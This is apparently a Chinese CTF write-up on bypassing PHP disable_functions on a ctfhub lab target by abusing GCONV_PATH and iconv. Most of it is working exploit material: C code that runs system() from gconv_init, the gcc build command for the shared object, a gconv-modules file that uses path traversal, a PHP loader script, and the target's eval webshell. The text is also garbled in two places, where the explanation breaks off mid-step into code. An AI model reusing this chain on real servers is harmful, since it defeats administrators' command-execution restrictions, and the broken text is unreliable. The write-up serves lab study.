使用GCONV_PATH与iconv进行bypass disable_functions

你需要知道的前置知识

php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()。

php的iconv函数的第一个参数是字符集的名字,这个参数也会传递到glibc的iconv_open函数的参数中。

下面我们来看一下iconv_open函数的执行过程:

  1. iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
  2. 然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
  3. 之后会调用.so文件中的gconv()与gonv_init()函数。
  4. 然后就是一些与本#include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { system("希望执行的命令"); }

    然后执行shell命令:

    gcc 源代码文件名.c -o 自定义字符集名.so -shared -fPIC 

    上传该文件到/tmp。

    书写shell.php:

    <?php     putenv("GCONV_PATH=/tmp/");     iconv("自定义字符集名", "UTF-8", "whatever"); ?> 

    上传到web目录下然后浏览器访问执行即可。

    靶场实战

    靶场使用的是ctfhub的靶场。

    目标是执行/readflag命令获取flag值。

    进入网站,网页显示当前脚本的源代码:

    <?php @eval($_REQUEST['ant']); show_source(__FILE__); ?> 

    使用蚁剑连接,发现无法进行命令执行,需要bypass disable_function。

    书写gconv-modules文件,内容如下:

    module  HACK//    INTERNAL    ../../../../../../../../tmp/hack    2 module  INTERNAL    HACK//    ../../../../../../../../tmp/hack    2 

    上传该文件至/tmp文件夹下。

    再书写h#include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { system("/readflag > /tmp/flag"); }

    执行shell命令:

    gcc hack.c -o hack.so -shared -fPIC 

    将生成的.so文件上传到/tmp。

    书写shell.php内容如下:

    <?php     putenv("GCONV_PATH=/tmp/");     iconv("hack", "UTF-8", "whatever"); ?> 

    上传到/var/www/html文件夹下。

    使用浏览器访问。

    此时/tmp/flag中已经存储了flag值。